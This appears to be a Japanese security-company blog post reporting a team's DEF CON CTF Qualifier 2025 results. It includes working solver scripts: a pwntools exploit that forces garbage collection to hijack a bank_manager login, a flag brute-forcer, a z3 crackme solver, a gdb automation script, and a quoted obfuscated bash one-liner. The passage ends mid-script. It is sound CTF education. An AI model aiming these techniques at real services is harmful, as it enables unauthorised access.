NFLabs. エンジニアブログ

セキュリティやソフトウェア開発に関する情報を発信する技術者向けのブログです。

DEF CON CTF Qualifier 2025 参加記 + Writeup

概要

  • DEF CON CTF Qualifier 2025 で、Team Enu は 27 位の成績を収めました。
  • 本記事では、チームの現地会場設営時の内容や、コンテストで出題された問題を解説します。

はじめに

こんにちは、研究開発部の末廣です。 CTF イベント DEF CON CTF Qualifier 20251 に、 NTT グループ有志と、募集2に応募いただいた学生の合同チーム Team Enu3 として参加しました。今年のコンテスト開催期間は 2025/04/12 から 2025/04/14 の 48 時間と、新年度早々の時期でした。

結果、全 195 チーム中 27 位の成績を収めました。

現地会場の様子

今回2年ぶりにチームで集まって取り組む場として、東京都内にあるワーキングスペースを確保しました。Team Enu の各メンバーは、その現地会場かオンライン経由かのどちらかで参加しました。現地会場の様子をお届けします。

現地会場で取り組む様子

英気を養うチームメンバー

問題の出題形式

オンライン開催の CTF でよくある Jeopardy 形式の問題に加えて、 DEF CON 定番となっている LiveCTF 形式の問題が今年も出題されました。各種形式の詳細を記述します。

  • Jeopardy 形式
    • コンテスト開始直後は 1 問のみが出題されていました。その中で Hot challenge 扱いの問題が存在し、いずれかのチームが当該問題を解くと新たな問題が出題されました。
      • 最終的に Welcome 相当の問題含めて 26 問出題されました。
    • なお、通常のCTFでは問題ごとにジャンルが記載されていることが多いです。 一方で DEF CON CTF Qualifier ではジャンル記載が無い年があります。
      • 昨年では Reversing, Explitation のジャンル表記がありました。
      • 今年は Welcome 問題相当の 1 問の Basics と、それ以外の問題の Quals という区別のみがなされていました。そのため各種問題を、ジャンルが分からない状態で取り組む必要がありました。
  • LiveCTF 形式
    • 2023年から出題されている形式です。詳細は、 2023年 の LiveCTF 形式紹介記事4や、 2024 年の Writeup 記事5をご参照ください。
    • LiveCTF 形式の問題の目的は、問題固有の条件を満たしてフラグを得るか、任意コード実行経由で ./submitter プログラムを起動することです。そのため Jeopardy 形式の問題よりも目的が明快であり、取り組みやすい傾向にあります。
    • 問題数や出題ジャンル、出題時間帯は Live CTF 用のサイトで明示されます。

LiveCTF 各問題の出題時間帯とジャンル

コンテスト終了後に問題内容等が、 Jeopardy 形式6と LiveCTF 形式7ともに、 GitHub で公開されました。 LiveCTF 側のリポジトリは、正解したチームの提出内容も含まれます。

🐱‍💻🌐

絵文字のみの問題名です。また、コンテスト開始直後は本問題のみが公開されており、全体を通して本問題のみが Basics ジャンル表記です。一般的な CTF では、いわゆる Welcome 問題に該当する問題と思われます。

本問題では、次の内容のみが与えられます。

$ export INPUT="____ ___ _______"  # some string goes here
$ "${@#IV}"  ''p''"${@,,}"rintf  %s  "$(  Ax='  '"'"'E'"'"'"V"A"L" "$( ${@,}  P"R"I'"'"''"'"'\NTF %S  '"'"'23- C- TUC | MUS5DM | tupni$ OHCE ;ENOD ;LLUN/VED/> MUS5DM | tupni$ OHCE ;I$ PEELS OD ;)0001 1 QES($ NI I ROF'"'"'  ${*##.}|${@%;}  RE${@}V${*%%O1}  ${@%\`}   )" '$*  &&${@/-_/\{}p$'\162i'${*##E}n${*%%B*}tf  %s  "${Ax~~}"  $@ ;  ${!*}   )"  "$@" | b"a"sh  ${*//c}
Remember the flag format. Please put the output within flag{} before submission.

シェルスクリプトらしい内容です。2行目の難読化された内容を部分的に評価して確かめていきました。どうやら bash コマンドで実行すると、最終的に echo $INPUT | md5sum | cut -c -32 を実行する内容のようです。しかし $INPUT の MD5 ハッシュ値を出力するのみであり、ハッシュ値の比較等が一切ありません。

私が悩んでいると、チームメンバーの「問題名の絵文字に意味がある?」という考察から「もしかしたらHack the Planetかも?」という案が出ました。最終的にチームメンバーが次のコードを使って正解しました。

#!/bin/bash

INPUT="Hack the planet!"

echo "$INPUT" | md5sum | cut -c -32

上記スクリプト実行結果の af6f4f9d82898e44628ef8740a707db2 を問題文記載のようにフラグ形式とした flag{af6f4f9d82898e44628ef8740a707db2} が正解のフラグのようです。

なお Hack the Planet とは、 DEFCON CTF でのボーナス問題として何度も出題されたキーワードとのことです8

memorybank

コンテスト開始から 2 番目に出題された問題です。以降は本問題を含めた Quals ジャンルか、時間帯が指定されている LiveCTF ジャンルかのどちらの表記です。なお Quals ジャンルの問題ではおそらく全問題で Web サイトの URL が記述されていますが、どうやらすべて雰囲気づくり専用の Web サイトのようであり、問題の本質とは全くの無関係である模様です。

本問題では URL とは別に nc コマンドを使う接続先や、配布ファイルも与えられます。 nc コマンドで接続すると、配布ファイル同様の環境がリモート環境で起動しました。配布ファイルを調査してフラグが手に入る条件を調べて、リモート環境で実際のフラグを得る流れです。なお、本問題は ATM を模した AA が表示されます。また、実際の実行時は各種文字や線に色がついています。

╔══════════════════════════════════════════════════════╗
║ ╔═╗╔╦╗╔╦╗  ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗  ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗  ║
║ ╠═╣ ║ ║║║──║║║╠═╣║  ╠═╣║║║║║╣ ──║║║╠═╣║  ╠═╣║║║║║╣   ║
║ ╩ ╩ ╩ ╩ ╩  ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝  ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝  ║
║                                                      ║
║  ┌─────────────────────┐                             ║
║  │     MEMORY BANK     │                             ║
║  └─────────────────────┘                             ║
║                                                      ║
║  ┌─────┬─────┬─────┐                                 ║
║  │  1  │  2  │  3  │                                 ║
║  ├─────┼─────┼─────┤                                 ║
║  │  4  │  5  │  6  │                                 ║
║  ├─────┼─────┼─────┤                                 ║
║  │  7  │  8  │  9  │                                 ║
║  ├─────┼─────┼─────┤                                 ║
║  │  *  │  0  │  #  │                                 ║
║  └─────┴─────┴─────┘                                 ║
║                                                      ║
║  ╔══════════════════╗                                ║
║  ║ INSERT CARD HERE ║                                ║
║  ╚══════════════════╝                                ║
║                                                      ║
║  ┌─────────────────┐                                 ║
║  │ CASH DISPENSER  │                                 ║
║  └─────────────────┘                                 ║
╚══════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════╗
║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓   ║
║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░   ║
║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒   ║
╚══════════════════════════════════════════════════════╝
Welcome to the Memory Banking System! Loading...

╔══════════════════════════════════════════════════════╗
║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒   ║
║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░   ║
║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓   ║
╚══════════════════════════════════════════════════════╝
You have 20 seconds to complete your transaction before the bank closes for the day.

Please register with a username (or type 'exit' to quit):

配布ファイルを調査すると、次の流れと判明しました。

  1. run_challenge.sh がエントリーポイントです。
    1. ulimit -m 22400 を実行して、利用できるメモリを 22400 [KiB] 、つまり約 22 [MiB] へ設定します。
    2. timeout 20s deno run --allow-read index.js を実行して index.js を20秒制限で実行します。
      • なお、配布ファイルには Dockerfile が含まれており、競技参加者が各自のローカル環境で動作検証できる準備が整えられていました。しかし timeout コマンドは標準入力の扱いを変更するようで、 docker run -it ビルド結果イメージ名 実行では標準入力を index.js へ与えられない模様です。
      • ローカル環境で適切に動作検証するためには、次のいずれかが必要でした。
        • 方法 1: run_challenge.sh 実行内容から timeout コマンドを除去して deno run を直接実行
        • 方法 2: timeout コマンドに --foreground オプションを追加
        • 方法 3: cat | docker run -i ビルド結果イメージ名 と、パイプ越しに入力を付与
  2. index.js は次の機能を持ちます。
    • 初期状態として bank_manager ユーザーを登録します。
    • 競技者から、ログインするユーザー名の入力を得ます。
      • このとき、存在するユーザー名ではログインできません
    • 競技者から、次の 6 種類のいずれかのコマンドを得ます。
      • コマンド 1: 残高確認。
      • コマンド 2: 指定金額を引き出し。
      • コマンド 3: 署名を設定。設定した署名は残口引き出し時に使われます。
      • コマンド 4: ログアウト。この後はログインするユーザー名の入力に戻ります。
      • コマンド 5: 終了。
      • コマンド 6: 隠しコマンド。 bank_manager ユーザーでログインしている場合はフラグを得られます。

全体として、初期状態として登録された bank_manager ユーザーを何とかして消去して、競技者自身が bank_manager としてログインする必要がある問題です。ここでユーザー管理方法を確認すると、次のコードのように WeakRef9 を使った弱参照が用いられていることが分かります。

class UserRegistry {
  constructor() {
    this.users = [];
  }
  addUser(user) {
    this.users.push(new WeakRef(user));
  }
  getUserByUsername(username) {
    for (let user of this.users) {
      user = user.deref();
      if (!user) continue;
      if (user.username === username) {
        return user;
      }
    }
    return null;
  }

  *[Symbol.iterator]() {
    for (const weakRef of this.users) {
      const user = weakRef.deref();
      if (user) yield user;
    }
  }
}

また、チームメンバーがコマンド 2 の指定金額引き出し処理に不審な点を発見しました。

        const denomStr = promptSync("Enter bill denomination: ");
        const denomination = parseFloat(denomStr);

        if (denomination <=0 || isNaN(denomination) || denomination > amount) {
          console.log(`${MAGENTA}Invalid denomination: ${denomination}${RESET}`);
          continue;
        }

        const numBills = amount / denomination;
        const bills = [];

        for (let i = 0; i < numBills; i++) {
          bills.push(new Bill(denomination, currentUser.signature || 'VOID'));
        }

ここで denomination 変数は parseFloat 関数により変換されているため、例えば 0.001 等の小さな値を取得できます。そうすると numBills = amount / denomination の数値を大きくできて for ループ回数を増加できるため、 new Bill を大量に実行させられます。大量の new Bill 実行によりメモリ使用量を増加させることで Garbage Collection を発動させて、前述したユーザー管理の弱参照を回収させられると予想しました。

手元の Docker ローカル環境で実験すると、次の手順でフラグファイルを読めることを確認しました。

  1. コマンド 2 で amount として 100denomination として 0.00005 を指定する引き出し処理を実行。これにより弱参照を回収させます。
  2. コマンド 4 でログアウト。
  3. bank_manager としてログイン。
  4. コマンド 6 でフラグを取得。

しかし上記手順を問題文記載のリモート環境で試すと /app/run_challenge.sh: line 5: 8 Killed timeout -k 10 --foreground -s SIGKILL 20s deno run --v8-flags=--trace-gc --allow-read index.js で終了しました。配布されている run_challenge.sh とは timeout コマンドのオプションが異なることもあり、環境が異なるようです。そのため Garbage Collection の発動タイミングが異なる模様です。

ローカル環境では成功するにもかかわらずリモート環境では失敗する状況に気落ちしながら試行錯誤していると、チームメンバーがリモート環境でのフラグ取得に成功しました!コマンド 2 で指定する denomination0.05 に抑えつつ、事前にコマンド 3 の署名処理で b"A"*1024*10231047552 文字を設定すると、成功したとのことです。

#!/usr/bin/env python3

import typing

import pwn

# pwn.context.log_level = "DEBUG"
# pwn.context.timeout = 5.0

TEAM_TICKET = "実際はリモート接続時にチームごとのチケット文字列を入力する必要があります"


def try_one(io_factory: typing.Callable[[], pwn.tube], denomination: float):
    with io_factory() as io:
        io.recvuntil(b"Welcome to the Memory Banking System! Loading...")

        def SENDLINEAFTER(delim: bytes, data: bytes):
            print(io.sendlineafter(delim, data).decode(), flush=True)
            print(data.decode(), flush=True)

        # login as random
        SENDLINEAFTER(b"Please register with a username", b"random")

        # Setting signature
        SENDLINEAFTER(b"Choose an operation", b"3")
        SENDLINEAFTER(b"Enter your signature", b"A"*1024*1023)

        # I want to cause GC
        SENDLINEAFTER(b"Choose an operation", b"2")
        SENDLINEAFTER(b"Enter amount to withdraw:", b"100")
        #SENDLINEAFTER(b"Enter bill denomination", f"{denomination:.9f}".encode())
        SENDLINEAFTER(b"Enter bill denomination", b"0.05")

        # logout
        SENDLINEAFTER(b"Choose an operation", b"4")

        # login
        SENDLINEAFTER(b"Please register with a username", b"bank_manager")
        # SENDLINEAFTER(b"Choose an operation", b"6")

        io.recvuntil(b"(or type 'exit' to quit):")
        # print(io.recvline().decode())
        # print(io.clean().decode())

        # Docker実行ではbank_managerになれているので6で/flagを読める
        io.interactive(prompt="")


def solve(io_factory: typing.Callable[[], pwn.tube]):
    # 結局二分探索せずに、この数値を手動でいじっていました
    lower = 0.0001
    upper = 0.0000000000001

    mid = (lower + upper) / 2
    # mid = 0.1
    try_one(io_factory, mid)

    # while True:
    #     mid = (lower + upper) / 2
    #     # mid = 0.1
    #     try_one(io_factory, mid)
    #     match input("OK? 1: crash, 2: NOT crash, 3: retry"):
    #         case "1":
    #             upper = mid
    #         case "2":
    #             lower = mid


def create_nc_connection():
    io = pwn.remote("memorybank-tlc4zml47uyjm.shellweplayaga.me", 9005)
    io.sendlineafter(b"Ticket please:", TEAM_TICKET)
    return io


def create_docker_connection():
    io = pwn.process(["docker", "run", "--rm", "-i", "defcon2025/memorybank"])
    return io


#solve(create_docker_connection)
solve(create_nc_connection)

totem1

amd64 ELF バイナリのフラグチェッカー問題です。バイナリ中に goroutine 等の文字列が存在することから Go 言語製のバイナリのようです。シンボル情報は削除済みです。

実行すると文字列を入力できて、正誤判定結果を Sorry, that's not right. のように出力する機能を持つバイナリです。バイナリを解析すると、どうやら独自 VM で処理を実行しているらしいことが分かります。文字列の入力や判定結果の出力すらも VM 内部で行っているようです。

デバッガーを使って VM が処理する命令を調べているうちに、重大な事実に気づきます。どうやら入力した範囲がすべて正解なら、正解時の出力を出してくれるようです。

$ ./totem1-uploadme
Enter the flag: f
Correct! You found the flag!

$ ./totem1-uploadme
Enter the flag: fl
Correct! You found the flag!

$ ./totem1-uploadme
Enter the flag: f@
Sorry, that's not right.

つまり、正解となるフラグを先頭から 1 文字ずつ特定できるようです。この情報をチームに共有すると、チームメンバーがものの数分で正解してくれました!

import string
from pwn import process,context
letters='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
s=""
context.log_level="error"
for i in range(30):
    for j in letters:
        sock=process("./totem1-uploadme")
        sock.sendline((s+j).encode())
        if b"Correct" in sock.recvline():
            s+=j
            sock.kill()
            break
        sock.kill()
    print(s)

実行すると、フラグが flag{d0nt_Th1nk-0f-3l3ph4ntz} と分かります。

LiveCTF 1: ROPably (rev)

本問題は次の形式の問題です。

  • amd64 ELF の、入力の正誤判定する機能を持つバイナリが与えられます。ただし後述の難読化が施されています。
  • 配布ファイルとして、サンプル用のバイナリが 20 個与えられます。
    • なお、本問題用ライブストリームの 4:23 頃の発言10によると、ソルバー提出先であるリモート環境では 200 個程度のバイナリが用意されていたようです。
  • ソルバーを提出すると、リモート環境で合計 20 個のバイナリが与えられます。それぞれバイナリが与えられてから 10 秒以内に、正解となる入力を導出する必要があります。

与えられるバイナリは、まず入力を読み込み、読み込み結果が 16 文字であることを検証します。その後、次の本問題固有の処理を行います。例示として、配布ファイルの1つである challenge_0 の内容を記述します。

call で呼び出される関数で、スタックポインターを差し替えつつ retn します。

sub_131A        proc near               ; CODE XREF: sub_11E9+B5↑p
                lea     rbx, off_4010
                xchg    rsp, rbx
                retn
sub_131A        endp

off_4010 は次の内容で、関数ポインターのテーブルです。つまり、上の sub_131A 関数は、関数テーブル先頭の sub_1686 関数へリターンすることになります。

off_4010        dq offset sub_1686      ; DATA XREF: sub_131A↑o
                dq offset sub_14B3
                dq offset sub_142C
                dq offset sub_1726
                dq offset sub_147C
                ...(snip)...

sub_1686 関数含めて、テーブルに含まれる関数は次のように、先頭の xchg rsp, rbx で本来のスタックポインターを復元して、フラグ判定処理の一部を行い、最後に改めて xchg rsp, rbx および retn することで関数ポインターテーブルの続きの要素を実行しています。問題名の通り、バイナリ自身で ROP (Return Oriented Programming) しています。

sub_1686        proc near               ; DATA XREF: .data:off_4010↓o
                xchg    rsp, rbx
                endbr64
                push    rbp
                mov     rbp, rsp
                mov     [rbp-18h], rdi
                mov     dword ptr [rbp-4], 1
                xchg    rsp, rbx
                retn
sub_1686        endp ; sp-analysis failed

関数ポインターテーブル最後の要素である関数では、次のように本来のスタックポインターを使って retn します。

sub_15CE        proc near               ; DATA XREF: .data:00000000000041C0↓o
                xchg    rsp, rbx
                mov     eax, [rbp-4]
                pop     rbp
                retn
sub_15CE        endp ; sp-analysis failed

つまり、大本は1つの関数で行っていたであろう入力内容の検証処理が、複数の関数へ分割して実行されます。

チームメンバーと協力して、実際に行われている処理を解析していきました。 ROP を解除して本来行われる処理順序を復元すると、次のような処理と分かりました。

mov    rax,QWORD PTR [rbp-0x18]
add    rax,0xf
movzx  edx,BYTE PTR [rax]
mov    rax,QWORD PTR [rbp-0x18]
add    rax,0x5
movzx  eax,BYTE PTR [rax]
xor    eax,edx
movsx  eax,al
movzx  eax,ax
cmp    eax,0x1f
sete   al
movzx  eax,al
and    DWORD PTR [rbp-0x4],eax

ここで DWORD PTR [rbp-0x4] には正解状態かを表す数値フラグがあります。その内容が最後まで 1 であり続けると正解になります。また QWORD PTR [rbp-0x18] には入力文字列の先頭アドレスが格納されています。

処理全体として、上記のような入力中の 2 要素を使って検証する処理が多数含まれています。各種検証をすべて突破すると、正解となる入力として扱われます。 また、検証処理を細分化すると次の処理の繰り返しであることが分かりました。

  1. edx レジスタに 1 要素目を格納します。
    1. mov rax,QWORD PTR [rbp-0x18] のように、入力文字列先頭アドレスをロードします。
    2. add rax,0xf 等でアドレスを調整して「 N 文字目」を表現します。
      • なお 0 文字目を扱う場合は、本処理はありません。
    3. movzx edx,BYTE PTR [rax] のように、入力文字列の N 文字目をロードします。
  2. eax レジスタに 2 要素目を格納します。
    • edx レジスタ側と同様です。
  3. edx, eax レジスタを使って計算します。計算種類は次の4種類あります。
    • add eax,edx の和
    • sub edx,eax の差
      • 本計算の場合は、次に movzx eax,dx を実行することで計算結果を eax レジスタへ格納し直します。
    • imul eax,edx の積
    • xor eax,edx のXOR
  4. 計算結果を検証します。検証方法は次の2種類あります。
    • cmp eax,0x1f 等の、計算結果が 0 以外の特定の数値であることを検証する処理
    • test eax, eax の、計算結果が 0 であることを検証する処理
  5. 検証結果を sete almovzx eax,al, and DWORD PTR [rbp-0x4],eax で蓄積します。

最終的に次の処理を行うソルバーを作成、提出しました。

  1. (これまで説明していませんでしたが)リモート環境からバイナリを受信して、ローカルへ保存する処理。
  2. 上で記述した解析結果から、正解となる入力を自動的に計算する処理。
    1. 与えられたバイナリの 0x3008 バイト目以降の、実行時は仮想アドレス 0x4010 になる箇所から関数ポインターテーブル内容を抽出。
    2. 各種関数ポインター内容を間接参照して、各種関数の処理内容を抽出。
    3. 抽出内容のうち xchg rsp, rbx である 48 87 E3 以降を抽出し、各種関数の本質的な処理内容のバイト列を抽出。
    4. pwntools ライブラリの disasm 関数を使って、抽出したバイト列を逆アセンブル。
    5. 逆アセンブル内容を文字列処理しながら、 z3-solver ライブラリを使って条件を満たす入力を計算。

ソルバー作成時には配布された 20 バイナリが役立ちました。全バイナリで正解入力を自動計算できることを確認してから、自信を持ってソルバーを提出できました。当該ソルバーを以下に記載します。

#!/usr/bin/env python3

import base64
import secrets
import subprocess
import time

import z3
from pwn import *

context.log_level = "INFO"
context.arch = "amd64"

HOST = os.environ.get("HOST", "localhost")
PORT = 31337


def enumerate_rop_blocks(elf_name: str):
    with open(elf_name, "rb") as f:
        bin = f.read()

        ind = 0x3008
        assert bin[ind : ind + 8] == b"\x08\x40\x00\x00\x00\x00\x00\x00"
        ind += 8
        insns = b""
        # print(f"\n\n=== challenge_{challind}\n")
        while True:
            addr = u64(bin[ind : ind + 8])
            if not (0x1300 < addr < 0x2000):
                break
            instr = bin[addr:]
            assert instr[:3] == b"\x48\x87\xe3"
            block = instr[3 : instr.index(b"\x48\x87\xe3\xc3")]
            insns += block
            ind += 8

        # print(insns.hex())
        assert (
            insns[:0x13]
            == b"\xf3\x0f\x1e\xfaUH\x89\xe5H\x89}\xe8\xc7E\xfc\x01\x00\x00\x00"
        )

        insns = insns[0x13:]
        while True:
            ind = insns.find(b"\x21\x45\xfc")
            if ind == -1:
                break
            cur = insns[: ind + 3]
            # print(cur.hex())
            # print(disasm(cur))
            # print(len(cur))
            yield cur
            insns = insns[ind + 3 :]

        # print(insns.hex())


def solve_one(elf_name: str) -> str:
    # TODO: 正解となる入力を返す
    solver = z3.Solver()
    answer_list = [z3.BitVec(f"answer_{i:02d}", 8) for i in range(16)]
    for answer in answer_list:
        # solver.add(answer >= 0x21, answer < 0x7F)
        solver.add(
            z3.Or(
                z3.And(ord("0") <= answer, answer <= ord("9")),
                z3.And(ord("a") <= answer, answer <= ord("z")),
                z3.And(ord("A") <= answer, answer <= ord("Z")),
            )
        )

    block_index = 0
    answer_index: int | None = None
    eax_index = None
    edx_index = None
    operator = None
    cmp_target = 0
    for rop_block in enumerate_rop_blocks(elf_name):
        disassembled = disasm(rop_block)
        for line in disassembled.splitlines():
            # print(f"{line = }")

            def match(code: str):
                return code in line

            if match("imul   eax, edx"):
                operator = "*"
            elif match("add    eax, edx"):
                operator = "+"
            elif match("sub    edx, eax"):
                operator = "-"
            elif match("xor    eax, edx"):
                operator = "^"
            elif match("mov    rax, QWORD PTR [rbp-0x18]"):
                answer_index = 0
            elif match("add    rax, "):
                # add    rax, 0x6 等
                answer_index = int(line.split(",")[1], 0)
            elif match("movsx  eax, al"):
                assert answer_index is not None
                eax_index = answer_index
            elif match("movsx  edx, al") or match("movzx  edx, BYTE PTR [rax]"):
                assert answer_index is not None
                edx_index = answer_index
            elif match("cmp    eax, "):
                # 直後に「sete   al」が続く
                cmp_target = int(line.split(",")[1], 0)
            elif match("test   eax, eax"):
                # 直後に「sete   al」が続く
                cmp_target = 0
            elif match("sete   al"):
                # 毎回最後にあるはず
                assert edx_index is not None
                assert eax_index is not None
                assert cmp_target is not None
                assert operator is not None
                match operator:
                    case "+":
                        solver.add(
                            answer_list[edx_index] + answer_list[eax_index]
                            == cmp_target
                        )
                    case "-":
                        solver.add(
                            answer_list[edx_index] - answer_list[eax_index]
                            == cmp_target
                        )
                    case "*":
                        solver.add(
                            answer_list[edx_index] * answer_list[eax_index]
                            == cmp_target
                        )
                    case "^":
                        solver.add(
                            answer_list[edx_index] ^ answer_list[eax_index]
                            == cmp_target
                        )
                edx_index = None
                eax_index = None
                cmp_target = None
                operator = None
                answer_index = None
            else:
                pass  # 他にもいろいろあるので

    if solver.check() != z3.sat:
        raise Exception("Can not find answer")
    model = solver.model()
    return "".join(chr(model[answer].as_long()) for answer in answer_list)


def local_test():
    for i in range(20):
        time_before = time.time()
        challenge_path = f"../handout/samples/challenge_{i}"
        user_password = solve_one(challenge_path)

        p = subprocess.run(
            [challenge_path],
            input=user_password.encode(),
            stdout=subprocess.PIPE,
            stderr=subprocess.DEVNULL,
        )
        challenge_output = p.stdout
        correct_password = challenge_output.decode().strip() == "Yes"
        time_after = time.time()
        print(f"challenge {i} : {user_password} for {time_after - time_before}")
        assert correct_password


# local_test()
# exit(0)

io = remote(HOST, int(PORT))

NUM_ROUNDS = 20
ROUND_TIMEOUT = 10.0

for round in range(NUM_ROUNDS):
    io.recvuntil(b"Crackme: ")
    received_line = io.recvline()
    # print(f"{received_line = }")
    elf_bytes = base64.b64decode(received_line)
    elf_name = secrets.token_hex(16)
    with open(elf_name, "wb") as fout:
        fout.write(elf_bytes)
    user_password = solve_one(elf_name)
    io.sendlineafter(b"Password", user_password.encode())
io.interactive()  # 最後のフラグを表示させる

LiveCTF 3: N-Buns (rev/misc)

本問題は次の形式の問題です。

  • amd64 ELF バイナリが与えられます。しかし入出力等は何も行いません。詳細は後述します。
  • 配布ファイルとして、サンプル用のバイナリが 1 個だけ与えられます。
    • 本問題では別途 passwords が提供されており、サンプル用バイナリのパスワードは PASS{PLACEHOLDER} らしいことが推察できました。
  • ソルバーを提出すると、リモート環境で合計 10 個のバイナリが与えられます。それぞれバイナリが与えられてから 10 秒以内に、 Watchme 結果のパスワードを導出する必要があります。

問題文によると Some functions have non-random names, use those names in call order to get the password. とのことです。しかしサンプルとして与えられるバイナリが 1個 のみであるため、例えば「複数のバイナリすべてに存在する関数名を抽出」等はできません。バイナリを解析していくと、次の事が分かります。

  • 入出力を一切行いません。 glibc からの C 標準ライブラリのインポートはありませんし、 syscall 命令もありません。
  • main 関数ではコマンドライン引数を使いません。また、戻り値は 0 固定です。そのため「コマンドライン引数を元に何らかの処理を行い、処理結果でプロセスの終了コードが変わる」でもありません。
  • strace コマンドで実行しても、特別なものは一切見当たりません。
  • 約 10000 要素の関数ポインターのテーブルがあります。どうやら含まれる関数は、テーブルの関数を何個か呼び出すか、何もしないかの 2 種類のようです。全体として何もしません。
    • main 関数からは func_kpYULWNtwa(218) のように固定引数で関数を呼び出します。
    • テーブル中の他の関数を 3 個呼び出す関数の例です。
__int64 __fastcall func_MLBjtfRDaR(int a1)
{
  (ftable[14 * (a1 ^ 7) - 11026961])(967984LL);
  (ftable[((14 * (a1 ^ 7) - 11026975) ^ 0x40) - 1930])(946612LL);
  return (ftable[(-88 * (((14 * (a1 ^ 7) - 31) ^ 0x40) + 118)) + 7327])(831756LL);
}
  • シンボル情報があるため関数名が残っています。次のようにランダムな関数名に見えました。

サンプル用バイナリに存在する関数テーブル

あまりにも何も分からないため「リモート環境から受信する ELF のシンボル内容をダンプするソルバー」を提出しましたが、何らかの理由により何も得られませんでした。

悩みつつ試行錯誤を繰り返していると、何もしない関数の中に func_AAAAAAAAAA 関数が存在することに気付きました。どうやら 1 文字繰り返しの関数が、問題文にある Some functions have non-random names に該当するようです。実際に試すと、次の gdb 自動化手順でサンプル用バイナリのパスワードが分かりました。

$ cat a.txt
dprintf func_PPPPPPPPPP, "P"
dprintf func_EEEEEEEEEE, "E"
dprintf func_AAAAAAAAAA, "A"
dprintf func_SSSSSSSSSS, "S"
dprintf func_RRRRRRRRRR, "R"
dprintf func_LLLLLLLLLL, "L"
dprintf func_OOOOOOOOOO, "O"
dprintf func_CCCCCCCCCC, "C"
dprintf func_HHHHHHHHHH, "H"
dprintf func_DDDDDDDDDD, "D"
run
quit

$ gdb -q --nx -x ./a.txt ./challenge_0
Reading symbols from ./challenge_0...
(No debugging symbols found in ./challenge_0)
Dprintf 1 at 0x4ec43
Dprintf 2 at 0x7bb39
Dprintf 3 at 0x837c2
Dprintf 4 at 0x8489e
Dprintf 5 at 0x862ee
Dprintf 6 at 0xa38a0
Dprintf 7 at 0xb00f2
Dprintf 8 at 0xc4a76
Dprintf 9 at 0xd3203
Dprintf 10 at 0xe1f42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
PASSPLACEHOLDER[Inferior 1 (process 114772) exited normally]

PASSPLACEHOLDER を得られています。ただし passwords に含まれるファイルは PASS{PLACEHOLDER} と波括弧付きという違いがあります。波括弧に対応する関数名が存在するか分からなかったため、最終的に「4文字目直後に開き波括弧を、最後に閉じ波括弧を挿入」としました。

さて、手動で実行した上記内容のように func_{英大文字の10文字繰り返し} へブレークポイントを仕掛けて自動実行するソルバーを提出してみると、 PASS のみヒットする結果が得られました。散々悩みながら、英小文字への対応、 10 文字繰り返しのみならず 1 ~ 128 文字繰り返しの対応、 ASCII ほぼ全種類対応と変更していきました。最終的にリモート環境では func_{英大文字、英小文字、数字いずれかの10文字繰り返し} 形式の関数名が使われていることが分かり、何とか正解できました。

ソルバーを以下に記載します。

  • gdb-script.py です。ブレークポイントを設置します。それぞれのブレークポイントのヒット時には、関数名に対応する 1 文字を別ファイルへ書き込みます。
import gdb

# Make breakpoint pending on future shared library load?
gdb.execute("set breakpoint pending on")

# Type <RET> for more, q to quit, c to continue without paging
gdb.execute("set pagination off")

gdb.execute("starti")

for j in range(1, 100):
    for c in range(0x21, 0x7F):
        func_name = "func_" + (chr(c) * j)
        gdb.execute(f"b {func_name}")
    # func_name = "func_" + ("_" * j)
    # func_name = "func_" + ("-" * j)
    # func_name = "func_" + ("{" * j)
    # func_name = "func_" + ("}" * j)
    # for i in range(26):
    #     func_name = "func_" + (chr(ord("A") + i) * j)
    #     gdb.execute(f"b {func_name}")
    #     func_name = "func_" + (chr(ord("a") + i) * j)
    #     gdb.execute(f"b {func_name}")

with open("result.txt", "w") as f_out:
    while True:
        gdb.execute("continue")

        inferior = gdb.selected_inferior()
        if not inferior.is_valid() or inferior.pid == 0:
            break

        line = gdb.execute("x/1i $rip", to_string=True)
        func_name = line.split("<")[1].split(">")[0]
        if "+" in func_name:
            func_name = func_name.split("+")[0]
        print(func_name[5])
        f_out.write(func_name[5])
gdb.execute("quit")
  • ソルバーです。上記 gdb-script.py を使って、パスワードを取得します。
#!/usr/bin/env python3

import os
import secrets
import subprocess

from pwn import *

context.log_level = "CRITICAL"


def solve_one(elf_name: str) -> str:
    completed_process = subprocess.run(
        ["gdb", "--nx", "-x", "./gdb-script.py", elf_name],
        capture_output=False,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    if completed_process.returncode != 0:
        print("Failed!")
        print(f"{completed_process.stdout = }")
        print(f"{completed_process.stderr = }")

    with open("result.txt") as f:
        content = f.read().strip()
        print(f"{content = }")
        # return content
        return content[:4] + "{" + content[4:] + "}"
        # return "PASS{" + content + "}"


HOST = os.environ.get("HOST", "localhost")
PORT = 31337

io = remote(HOST, int(PORT))

NUM_ROUNDS = 10  # ローカル実行時は1にする
ROUND_TIMEOUT = 10.0


for round in range(NUM_ROUNDS):
    io.recvuntil(b"Watchme: ")
    received_line = io.recvline()
    # print(f"{received_line = }")
    elf_bytes = base64.b64decode(received_line)
